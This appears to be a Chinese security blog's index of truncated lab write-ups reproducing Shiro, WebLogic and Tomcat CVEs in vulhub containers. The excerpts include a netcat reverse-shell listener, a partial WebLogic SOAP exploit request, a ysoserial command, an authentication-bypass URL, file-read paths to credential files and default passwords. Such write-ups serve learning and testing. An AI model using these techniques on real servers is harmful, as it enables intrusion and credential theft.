Apache Shiro CVE-2016-4437
Apache Shiro简介Apache Shiro 是一个功能强大、灵活的开源安全框架,它能很好地处理身份验证、授权、企业会话管理和加密等功能。以下是它可以完成的一些功能:
验证用户,核实身份
对用户进行访问控制,例如:
1、确定是否为用户分配了特定的安全角色
2、确定是否允许用户执行某些操作
在任何环境中使用Session API,即使在非web或EJB环境下。
在身份验证、访问控制或会话的生命周期,对事件做出响应。
聚合一个或多个用户安全数据的数据源,并作为一个单一的复合用户"视图"。
启用单点登录(SSO)功能
为没有关联到登陆的用户启用"Remember Me”服务
……
漏洞原理Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:
获取rememberMe cookie
base64 decode
解密AES(加密密钥硬编码)
反序列化(未作过滤处理)
但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成 ...
Weblogic CVE-2017-10271反序列化漏洞复现
漏洞描述Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
序列化在前面提到过,通俗点来说,一个对象转换成字符串进行传输,需要使用的时候再将其反序列化成对象,为了便于传输使用,虽然出现很多漏洞,但是瑕不掩瑜。
这次复现的为2017年出现的Weblogic反序列化漏洞,编号为CVE-2017-10271
漏洞影响版本Weblogic < 10.3.6
环境搭建依旧是大家熟悉的vulhub,进入该漏洞目录下
docker-compose up -d
第一次搭建时间稍微长一点,搭建成功后访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。
漏洞复现&&利用0x01反弹shell这里我用kali来监听端口
nc -lvp 4444
使用bp随便抓取一个数据包,使用repeat模块发送数据包进反弹shell操作,
ps:下方Host信息和反弹的ip以及端口需要改成你自己的
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.157.128:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope ...
Weblogic CVE-2018-2628反序列化漏洞复现
漏洞描述漏洞名称:Weblogic WLS Core Components 反序列化命令执行漏洞;编号为:CVE-2018-2628
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
需要的工具ysoserial:https://github.com/tdy218/ysoserial-cve-2018-2628/releases
expolit.py:https://www.exploit-db.com/exploits/44553
影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞环境vulhub对应目录下启动如下命令Weblogic 10.3.6.0:
docker-compose up -d
等待环境启动(环境差异,有的机器可能等待的时间比较久),访问http://your-ip:7001/console,初始化整个环境。初始化完成后就会出现Weblogic界面,如下
漏洞复现首先下载ysoserial,并启动一个JRMP Server:
下方1099为是JRMP Server监听的端口,'touch /tmp/test'是我想执行的命令,Jdk7u21为jdk版本
ps:jdk版本只要大于1.7,直接填Jdk7u21就可以了
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'touch /tmp/ ...
Weblogic CVE-2018-2894任意文件上传漏洞
前言漏洞名称为Weblogic任意文件上传漏洞,编号为CVE-2018-2894
WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。
Web 测试页面在“生产模式”下默认不开启,所以该漏洞有限制。利用该漏洞,可以上传任意jsp文件,继而获取服务器权限。
影响版本WebLogic :10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
漏洞复现环境这里我简单记录一下docker开环境的一些步骤,好久没用vulhub都忘了;
kali开启ssh服务,这里是因为我不怎么喜欢用kali的命令行,可以跳过
service ssh start
docker开启环境
docker-compose up -d
关闭环境
docker-compose down
复现过程环境开启的可能稍微有一点慢。耐心等待一会;
环境开启后就能登录后台了,我这里就不用靶机了,直接本地进去吗,出现一个登录页面,并不知道名字和密码
docker-compose logs | grep password查看管理员密码,用户名为weblogic
登录进去后点击base_domain的配置,在”Advanced”中开启”启用Web服务测试页”选项,在最下方点击save保存。
访问访问http://192.168.157.128:7001/ws_utc/config.do,将当前的工作目录为更改为下面的目录,提交保存。设置为该目录的原因是:该ws_utc应用的静态文件css目录,访问这个目录是无需权限的,所以就算我们不登陆也可以进入这个目录下上传shell
/u01/oracle/user_projects/domains/ ...
Apache Shiro CVE-2020-1957
漏洞描述Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
CVE-2020-1957,Spring Boot中使用Apache Shiro进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro和Spring Boot对URL的处理的差异化,可以绕过Apache Shiro对Spring Boot中的Servlet的权限控制,越权并实现未授权访问。
本篇文章不涉及漏洞成因以及分析,大家可以看这几位师傅的文章,因为太菜了;
https://blog.spoock.com/2020/05/09/cve-2020-1957/
https://xz.aliyun.com/t/8281#toc-2
影响版本Apache Shiro <=1.5.2
漏洞复现0x01执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:
docker-compose up -d
环境启动后,访问http://your-ip:8080即可查看首页,不过不知道是什么原因,环境有点卡
这个应用中对URL权限的配置如下:
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the log ...
Weblogic未授权远程命令执行漏洞
漏洞简介Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本Weblogic : 10.3.6.0.0Weblogic : 12.1.3.0.0Weblogic : 12.2.1.3.0Weblogic : 12.2.1.4.0Weblogic : 14.1.1.0.0
启动环境启动vulhub漏洞环境,启动一个Weblogic 12.2.1.3版本的服务器:
docker-compose up -d
启动完成后访问http://your-ip:7001/console即可查看到后台登录页面。
漏洞复现CVE-2020-14882允许远程用户绕过管理员控制台组件中的身份验证,使用以下URL绕过控制台组件的身份认证,未授权访问到管理后台页面。
http://192.168.157.128:7001/console/css/%252e%252e%252fconsole.portal
此时访问后台是一个低权限的用户,无法安装应用,无法执行任意代码,也无权上传shell,需要利用第二个漏洞做进一步利用。
CVE-2020-14883CVE-2020-14883可通过构造特殊的HTTP请求,在未经身份验证的情况下接管WebLogic Server Console,并在WebLogic Server C ...
Weblogic弱口令&任意文件读取
前言Weblogic前台存在任意文件读取漏洞,weblogic密码使用AES加密,找到用户的密文与加密时的密钥即可解密,可登录Weblogic后台。无漏洞编号
影响版本weblogic 10.3.6版本
复现过程启动vulhub环境
docker-compose up -d
弱口令环境启动后,访问http://your-ip:7001/console,即为weblogic后台。
本环境存在弱口令:
用户名:weblogic
密码:Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
读取后台用户密文和密钥weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。
0x01密文
密钥存在目录为下方,注意不要用浏览器直接保存
http://your-ip/hello/file.jsp?path=security/SerializedSystemIni.dat
SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符这里直接用bp抓包,然后复制保存为.bat文件
0x02密钥
config.xml是base_domain的全局配置文件,密文路径在下方,找到node-manager-password-encrypted
路径为:http://your-ip/hello/file.jsp?path=config/config.xml
密文为:{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/D ...
Tomcat文件读取&文件包含漏洞
参考https://www.chaitin.cn/zh/ghostcat
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
基本介绍Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。
2020年长亭科技安全研究人员全球首次发现了一个存在于流行服务器 Tomcat 中的文件读取/包含漏洞,并第一时间提交厂商修复。,2月14日,Apache Tomcat 官方发布安全更新版本,修复漏洞。2月20日,国家信息安全漏洞共享平台(CNVD)发布安全公告,该漏洞综合评级为高危,漏洞 CVE 编号 CVE-2020-1938。
在长亭被称为Ghostcat(幽灵猫),这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,而年代过于久远的更早的版本未进行验证),这意味着它在 Tomcat 里已经潜伏了长达十多年的时间,同时长亭也给出了检测和修复工具。
漏洞危害由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。
此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害。
关于漏洞的分析以及原因可以看这位师傅的文章:https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn5 ...
Tomcat7弱口令&文件上传
漏洞介绍漏洞名称为:Tomcat7&弱口令&后台getshell漏洞
漏洞环境:Apache Tomcat/8.0.43
漏洞利用:Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下,但是,在tomcat中需要用户拥有一些权限才可以部署war包到web目录下,下面会详细介绍;
漏洞限制:正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。所以只有管理员手工修改了这些属性的情况下,才可以进行攻击。
Tomcat7权限manager(后台管理)
manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)
admin-gui 拥有html页面权限
admin-script 拥有text接口权限
关于这些权限的作用,可以阅读tomcat官方文档:http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
在tomcat-users.xml文件中可以去配置用户的权限
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/x ...
Tomcat任意写文件漏洞
漏洞介绍 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中
远程代码执行漏洞(CVE-2017-12615):当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
参考链接:https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
影响版本Apache Tomcat 7.0.0 - 7.0.81
漏洞原因Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件;
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
< ...